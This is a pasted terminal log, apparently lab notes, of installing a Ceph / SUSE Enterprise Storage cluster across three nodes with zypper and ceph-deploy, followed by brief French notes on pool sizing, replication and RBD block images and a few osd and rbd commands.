[y/n/? shows all options] (y): y Retrieving package python-Werkzeug-0.9.6-5.2.noarch (1/42), 483.9 KiB ( 2.2 MiB unpacked) Retrieving package python-apipkg-1.2-1.2.noarch (2/42), 9.2 KiB ( 18.2 KiB unpacked) Retrieving package python-ecdsa-0.13-2.1.noarch (3/42), 77.4 KiB (261.8 KiB unpacked) Retrieving package python-itsdangerous-0.24-2.1.noarch (4/42), 20.2 KiB ( 69.1 KiB unpacked) Retrieving package supportutils-plugin-ses-1.0+git.1463485157.269428c-4.1.noarch (5/42), 13.7 KiB ( 26.0 KiB unpacked) Retrieving package FastCGI-2.4.0-167.1.x86_64 (6/42), 184.8 KiB (587.6 KiB unpacked) Retrieving package libboost_random1_54_0-1.54.0-13.1.x86_64 (7/42), 20.0 KiB ( 10.3 KiB unpacked) Retrieving package libleveldb1-1.18-1.3.x86_64 (8/42), 132.8 KiB (361.3 KiB unpacked) Retrieving package python-MarkupSafe-0.18-7.1.x86_64 (9/42), 24.6 KiB ( 66.0 KiB unpacked) Retrieving package python-pycrypto-2.6.1-4.1.x86_64 (10/42), 371.5 KiB ( 2.0 MiB unpacked) Retrieving package python-execnet-1.4.1-1.3.noarch (11/42), 73.7 KiB (249.5 KiB unpacked) Retrieving package python-Jinja2-2.7.3-17.1.noarch (12/42), 278.5 KiB ( 1.7 MiB unpacked) Retrieving package python-paramiko-1.15.2-1.1.noarch (13/42), 860.0 KiB ( 5.1 MiB unpacked) Retrieving package python-remoto-0.0.27-1.1.noarch (14/42), 80.6 KiB (298.2 KiB unpacked) Retrieving package python-Flask-0.10.1-2.1.noarch (15/42), 178.0 KiB (827.7 KiB unpacked) Retrieving package python-pushy-0.5.3-1.5.noarch (16/42), 58.3 KiB (238.5 KiB unpacked) Retrieving package python-argparse-1.2.1-15.8.noarch (17/42), 248.6 KiB (490.1 KiB unpacked) Retrieving package python-requests-2.3.0-6.5.2.noarch (18/42), 334.6 KiB ( 1.7 MiB unpacked) Retrieving package babeltrace-1.2.4-3.2.x86_64 (19/42), 159.0 KiB (463.9 KiB unpacked) Retrieving package gperftools-2.2-2.2.x86_64 (20/42), 554.3 KiB ( 2.2 MiB unpacked) Retrieving package libboost_iostreams1_54_0-1.54.0-13.1.x86_64 (21/42), 39.8 KiB (103.1 KiB unpacked) Retrieving package libboost_program_options1_54_0-1.54.0-13.1.x86_64 (22/42), 125.5 KiB (456.7 KiB unpacked) Retrieving package libibverbs1-1.1.7-12.2.x86_64 (23/42), 34.1 KiB ( 71.4 KiB unpacked) Retrieving package liburcu0-0.8.8-1.2.x86_64 (24/42), 49.4 KiB (182.6 KiB unpacked) Retrieving package librdmacm1-1.0.18.1-1.14.x86_64 (25/42), 53.4 KiB (129.1 KiB unpacked) Retrieving package lttng-ust-2.7.0-1.2.x86_64 (26/42), 171.4 KiB (754.7 KiB unpacked) Retrieving package ceph-deploy-1.5.32+git.1464082518.5aab689-1.1.noarch (27/42), 174.7 KiB (740.3 KiB unpacked) Retrieving package libxio-1.6+git.1461071064.e0ed264-2.1.x86_64 (28/42), 242.5 KiB (885.9 KiB unpacked) Retrieving package librados2-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (29/42), 1.7 MiB ( 6.3 MiB unpacked) Retrieving package libcephfs1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (30/42), 1.8 MiB ( 6.0 MiB unpacked) Retrieving package python-rados-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (31/42), 209.0 KiB (493.4 KiB unpacked) Retrieving package librgw2-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (32/42), 2.7 MiB ( 10.3 MiB unpacked) Retrieving package librbd1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (33/42), 2.1 MiB ( 7.5 MiB unpacked) Retrieving package libradosstriper1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (34/42), 1.8 MiB ( 6.9 MiB unpacked) Retrieving package python-cephfs-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (35/42), 138.1 KiB (227.4 KiB unpacked) Retrieving package python-rbd-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (36/42), 133.1 KiB (184.9 KiB unpacked) Retrieving package ceph-common-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (37/42), 14.9 MiB ( 67.1 MiB unpacked) Retrieving package ceph-base-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (38/42), 3.9 MiB ( 33.1 MiB unpacked) Retrieving package ceph-osd-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (39/42), 9.0 MiB ( 33.2 MiB unpacked) Retrieving package ceph-mon-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (40/42), 2.7 MiB ( 9.3 MiB unpacked) Retrieving package ceph-mds-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (41/42), 2.7 MiB ( 9.3 MiB unpacked) Retrieving package ceph-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (42/42), 79.1 KiB ( 0 B unpacked) Checking for file conflicts: .............................................................................[done] ( 1/42) Installing: python-Werkzeug-0.9.6-5.2 ............................................................[done] ( 2/42) Installing: python-apipkg-1.2-1.2 ................................................................[done] ( 3/42) Installing: python-ecdsa-0.13-2.1 ................................................................[done] ( 4/42) Installing: python-itsdangerous-0.24-2.1 .........................................................[done] ( 5/42) Installing: supportutils-plugin-ses-1.0+git.1463485157.269428c-4.1 ...............................[done] ( 6/42) Installing: FastCGI-2.4.0-167.1 ..................................................................[done] ( 7/42) Installing: libboost_random1_54_0-1.54.0-13.1 ....................................................[done] ( 8/42) Installing: libleveldb1-1.18-1.3 .................................................................[done] ( 9/42) Installing: python-MarkupSafe-0.18-7.1 ...........................................................[done] (10/42) Installing: python-pycrypto-2.6.1-4.1 ............................................................[done] (11/42) Installing: python-execnet-1.4.1-1.3 .............................................................[done] (12/42) Installing: python-Jinja2-2.7.3-17.1 .............................................................[done] (13/42) Installing: python-paramiko-1.15.2-1.1 ...........................................................[done] (14/42) Installing: python-remoto-0.0.27-1.1 .............................................................[done] (15/42) Installing: python-Flask-0.10.1-2.1 ..............................................................[done] (16/42) Installing: python-pushy-0.5.3-1.5 ...............................................................[done] (17/42) Installing: python-argparse-1.2.1-15.8 ...........................................................[done] (18/42) Installing: python-requests-2.3.0-6.5.2 ..........................................................[done] (19/42) Installing: babeltrace-1.2.4-3.2 .................................................................[done] (20/42) Installing: gperftools-2.2-2.2 ...................................................................[done] (21/42) Installing: libboost_iostreams1_54_0-1.54.0-13.1 .................................................[done] (22/42) Installing: libboost_program_options1_54_0-1.54.0-13.1 ...........................................[done] (23/42) Installing: libibverbs1-1.1.7-12.2 ...............................................................[done] (24/42) Installing: liburcu0-0.8.8-1.2 ...................................................................[done] (25/42) Installing: librdmacm1-1.0.18.1-1.14 .............................................................[done] (26/42) Installing: lttng-ust-2.7.0-1.2 ..................................................................[done] (27/42) Installing: ceph-deploy-1.5.32+git.1464082518.5aab689-1.1 ........................................[done] (28/42) Installing: libxio-1.6+git.1461071064.e0ed264-2.1 ................................................[done] (29/42) Installing: librados2-10.2.1+git.1464009581.b8ee9e4-1.1 ..........................................[done] (30/42) Installing: libcephfs1-10.2.1+git.1464009581.b8ee9e4-1.1 .........................................[done] (31/42) Installing: python-rados-10.2.1+git.1464009581.b8ee9e4-1.1 .......................................[done] (32/42) Installing: librgw2-10.2.1+git.1464009581.b8ee9e4-1.1 ............................................[done] (33/42) Installing: librbd1-10.2.1+git.1464009581.b8ee9e4-1.1 ............................................[done] (34/42) Installing: libradosstriper1-10.2.1+git.1464009581.b8ee9e4-1.1 ...................................[done] (35/42) Installing: python-cephfs-10.2.1+git.1464009581.b8ee9e4-1.1 ......................................[done] (36/42) Installing: python-rbd-10.2.1+git.1464009581.b8ee9e4-1.1 .........................................[done] (37/42) Installing: ceph-common-10.2.1+git.1464009581.b8ee9e4-1.1 ........................................[done] (38/42) Installing: ceph-base-10.2.1+git.1464009581.b8ee9e4-1.1 ..........................................[done] Additional rpm output: Updating /etc/sysconfig/ceph... (39/42) Installing: ceph-osd-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (40/42) Installing: ceph-mon-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (41/42) Installing: ceph-mds-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (42/42) Installing: ceph-10.2.1+git.1464009581.b8ee9e4-1.1 ...............................................[done] ses-admin:~ # su &#8211; cephadm su: user &#8211; does not exist ses-admin:~ # su - cephadm cephadm@ses-admin:~&gt; ls bin public_html cephadm@ses-admin:~&gt; ceph-deploy install ses-node1 ses-node2 ses-node3 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy install ses-node1 ses-node2 ses-node3 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] testing : None [ceph_deploy.cli][INFO ] cd_conf : &lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f12cbf6cef0&gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] dev_commit : None [ceph_deploy.cli][INFO ] install_mds : False [ceph_deploy.cli][INFO ] stable : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] adjust_repos : True [ceph_deploy.cli][INFO ] func : &lt;function install at 0x7f12cc1b0668&gt; [ceph_deploy.cli][INFO ] install_all : False [ceph_deploy.cli][INFO ] repo : False [ceph_deploy.cli][INFO ] host : ['ses-node1', 'ses-node2', 'ses-node3'] [ceph_deploy.cli][INFO ] install_rgw : False [ceph_deploy.cli][INFO ] install_tests : False [ceph_deploy.cli][INFO ] repo_url : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] install_osd : False [ceph_deploy.cli][INFO ] version_kind : stable [ceph_deploy.cli][INFO ] install_common : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] dev : master [ceph_deploy.cli][INFO ] local_mirror : None [ceph_deploy.cli][INFO ] release : None [ceph_deploy.cli][INFO ] install_mon : False [ceph_deploy.cli][INFO ] gpg_url : None [ceph_deploy.install][DEBUG ] Installing stable version infernalis on cluster ceph hosts ses-node1 ses-node2 ses-node3 [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node1 ... [ses-node1][DEBUG ] connection detected need for sudo [ses-node1][DEBUG ] connected to host: ses-node1 [ses-node1][DEBUG ] detect platform information from remote host [ses-node1][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node1][INFO ] installing Ceph on ses-node1 [ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node1][DEBUG ] [ses-node1][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node1][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node1][DEBUG ] [ses-node1][DEBUG ] The following package is not supported by its vendor: [ses-node1][DEBUG ] libxio [ses-node1][DEBUG ] [ses-node1][DEBUG ] 35 new packages to install. [ses-node1][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node1][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node1][INFO ] Running command: sudo ceph --version [ses-node1][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node2 ... [ses-node2][DEBUG ] connection detected need for sudo [ses-node2][DEBUG ] connected to host: ses-node2 [ses-node2][DEBUG ] detect platform information from remote host [ses-node2][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node2][INFO ] installing Ceph on ses-node2 [ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node2][DEBUG ] [ses-node2][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node2][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node2][DEBUG ] [ses-node2][DEBUG ] The following package is not supported by its vendor: [ses-node2][DEBUG ] libxio [ses-node2][DEBUG ] [ses-node2][DEBUG ] 35 new packages to install. [ses-node2][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node2][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node2][INFO ] Running command: sudo ceph --version [ses-node2][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node3 ... [ses-node3][DEBUG ] connection detected need for sudo [ses-node3][DEBUG ] connected to host: ses-node3 [ses-node3][DEBUG ] detect platform information from remote host [ses-node3][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node3][INFO ] installing Ceph on ses-node3 [ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node3][DEBUG ] [ses-node3][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node3][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node3][DEBUG ] [ses-node3][DEBUG ] The following package is not supported by its vendor: [ses-node3][DEBUG ] libxio [ses-node3][DEBUG ] [ses-node3][DEBUG ] 35 new packages to install. [ses-node3][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node3][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node3][INFO ] Running command: sudo ceph --version [ses-node3][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~&gt; ls bin ceph-deploy-ceph.log public_html cephadm@ses-admin:~&gt; cat ceph-deploy-ceph.log [2016-11-07 11:37:32,854][ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy install ses-node1 ses-node2 ses-node3 [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] ceph-deploy options: [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] verbose : False [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] testing : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] cd_conf : &lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f12cbf6cef0&gt; [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] cluster : ceph [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] dev_commit : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_mds : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] stable : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] default_release : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] username : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] adjust_repos : True [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] func : &lt;function install at 0x7f12cc1b0668&gt; [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_all : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] repo : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] host : ['ses-node1', 'ses-node2', 'ses-node3'] [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_rgw : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_tests : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] repo_url : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] ceph_conf : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_osd : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] version_kind : stable [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] install_common : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] overwrite_conf : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] quiet : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] dev : master [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] local_mirror : None [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] release : None [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] install_mon : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] gpg_url : None [2016-11-07 11:37:32,856][ceph_deploy.install][DEBUG ] Installing stable version infernalis on cluster ceph hosts ses-node1 ses-node2 ses-node3 [2016-11-07 11:37:32,856][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node1 ... [2016-11-07 11:37:33,075][ses-node1][DEBUG ] connection detected need for sudo [2016-11-07 11:37:33,221][ses-node1][DEBUG ] connected to host: ses-node1 [2016-11-07 11:37:33,221][ses-node1][DEBUG ] detect platform information from remote host [2016-11-07 11:37:33,256][ses-node1][DEBUG ] detect machine type [2016-11-07 11:37:33,260][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:33,260][ses-node1][INFO ] installing Ceph on ses-node1 [2016-11-07 11:37:33,263][ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:33,491][ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,758][ses-node1][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:33,758][ses-node1][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,758][ses-node1][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:33,758][ses-node1][DEBUG ] libxio [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,759][ses-node1][DEBUG ] 35 new packages to install. [2016-11-07 11:37:33,759][ses-node1][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:33,759][ses-node1][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:37:44,565][ses-node1][INFO ] Running command: sudo ceph --version [2016-11-07 11:37:44,683][ses-node1][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [2016-11-07 11:37:44,683][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node2 ... [2016-11-07 11:37:44,876][ses-node2][DEBUG ] connection detected need for sudo [2016-11-07 11:37:45,016][ses-node2][DEBUG ] connected to host: ses-node2 [2016-11-07 11:37:45,017][ses-node2][DEBUG ] detect platform information from remote host [2016-11-07 11:37:45,055][ses-node2][DEBUG ] detect machine type [2016-11-07 11:37:45,060][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:45,060][ses-node2][INFO ] installing Ceph on ses-node2 [2016-11-07 11:37:45,062][ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:45,335][ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:45,602][ses-node2][DEBUG ] [2016-11-07 11:37:45,602][ses-node2][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:45,602][ses-node2][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:45,602][ses-node2][DEBUG ] [2016-11-07 11:37:45,603][ses-node2][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:45,603][ses-node2][DEBUG ] libxio [2016-11-07 11:37:45,603][ses-node2][DEBUG ] [2016-11-07 11:37:45,603][ses-node2][DEBUG ] 35 new packages to install. [2016-11-07 11:37:45,603][ses-node2][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:45,603][ses-node2][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:37:56,699][ses-node2][INFO ] Running command: sudo ceph --version [2016-11-07 11:37:56,819][ses-node2][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [2016-11-07 11:37:56,820][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node3 ... [2016-11-07 11:37:57,028][ses-node3][DEBUG ] connection detected need for sudo [2016-11-07 11:37:57,173][ses-node3][DEBUG ] connected to host: ses-node3 [2016-11-07 11:37:57,173][ses-node3][DEBUG ] detect platform information from remote host [2016-11-07 11:37:57,210][ses-node3][DEBUG ] detect machine type [2016-11-07 11:37:57,215][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:57,216][ses-node3][INFO ] installing Ceph on ses-node3 [2016-11-07 11:37:57,218][ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:57,494][ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:57,762][ses-node3][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:57,762][ses-node3][DEBUG ] libxio [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] 35 new packages to install. [2016-11-07 11:37:57,762][ses-node3][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:57,762][ses-node3][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:38:08,867][ses-node3][INFO ] Running command: sudo ceph --version [2016-11-07 11:38:08,987][ses-node3][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~&gt; ceph -v ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~&gt; ceph-deploy new ses-node1 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy new ses-node1 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : &lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7fbd48a4df80&gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] ssh_copykey : True [ceph_deploy.cli][INFO ] mon : ['ses-node1'] [ceph_deploy.cli][INFO ] func : &lt;function new at 0x7fbd48a285f0&gt; [ceph_deploy.cli][INFO ] public_network : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] cluster_network : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] fsid : None [ceph_deploy.new][DEBUG ] Creating new cluster named ceph [ceph_deploy.new][INFO ] making sure passwordless SSH succeeds [ses-node1][DEBUG ] connected to host: ses-admin [ses-node1][INFO ] Running command: ssh -CT -o BatchMode=yes ses-node1 [ses-node1][DEBUG ] connection detected need for sudo [ses-node1][DEBUG ] connected to host: ses-node1 [ses-node1][DEBUG ] detect platform information from remote host [ses-node1][DEBUG ] detect machine type [ses-node1][DEBUG ] find the location of an executable [ses-node1][INFO ] Running command: sudo /bin/ip link show [ses-node1][INFO ] Running command: sudo /bin/ip addr show [ses-node1][DEBUG ] IP addresses found: ['192.168.100.11', '192.168.200.11'] [ceph_deploy.new][DEBUG ] Resolving host ses-node1 [ceph_deploy.new][DEBUG ] Monitor ses-node1 at 192.168.100.11 [ceph_deploy.new][DEBUG ] Monitor initial members are ['ses-node1'] [ceph_deploy.new][DEBUG ] Monitor addrs are ['192.168.100.11'] [ceph_deploy.new][DEBUG ] Creating a random mon key... [ceph_deploy.new][DEBUG ] Writing monitor keyring to ceph.mon.keyring... [ceph_deploy.new][DEBUG ] Writing initial config to ceph.conf... cephadm@ses-admin:~&gt; Creation de pool pool name number of placement groups : (nber of OSD * 100 ) / nber of replicas pool size : 2,10 g take 20 g of storage and 20 g of netw transfert pool size : 3,10 g take 30 g of storage and 30 g of netw transfert =&gt; il vaut ;ieux bcp de petits data pool plutot qu un gros rados attaque en direct le pool sans passer par la couche osd default, replicate all datas =&gt; full replication, 3x stockage et bande passante RDB Storage pour avoir du block storage, il faut creer une image d abord puis ;appe en block device format1 or 2 =&gt; 2 support snapshots rbd create, puis map pour connect si besoin, faire le pool avant rbd create -p poolname rdbimagename --size xxx --image format 2 size en mb par defaut rbd list cephadm@ses-admin:~&gt; ceph osd map test myobj osdmap e23 pool 'test' (1) object 'myobj' -&gt; pg 1.c3ca3d86 (1.6) -&gt; up ([2,1], p2) acting ([2,1], p2) cephadm@ses-admin:~&gt; ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.04376 root default -2 0.01459 host ses-node1 0 0.01459 osd.0 up 1.00000 1.00000 -3 0.01459 host ses-node2 1 0.01459 osd.1 up 1.00000 1.00000 -4 0.01459 host ses-node3 2 0.01459 osd.2 up 1.00000 1.00000 cephadm@ses-admin:~&gt; ceph osd pool set test size 3 set pool 1 size to 3 cephadm@ses-admin:~&gt; ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.04376 root default -2 0.01459 host ses-node1 0 0.01459 osd.0 up 1.00000 1.00000 -3 0.01459 host ses-node2 1 0.01459 osd.1 up 1.00000 1.00000 -4 0.01459 host ses-node3 2 0.01459 osd.2 up 1.00000 1.00000 Mapping pour utilisation en direct persistence de mapping se fait dans fstab cephadm@ses-admin:~&gt; rbd create -p block-pool block-storage --size 1024 cephadm@ses-admin:~&gt; rbd -p block-pool info block-storage rbd image 'block-storage': size 1024 MB in 256 objects order 22 (4096 kB objects) block_name_prefix: rbd_data.108f238e1f29 format: 2 features: layering flags: cephadm@ses-admin:~&gt; sudo su - ses-admin:~ # cat /etc/fstab UUID=a8cecc6a-ed55-45ec-9092-08cccd1d1fa5 swap swap defaults 0 0 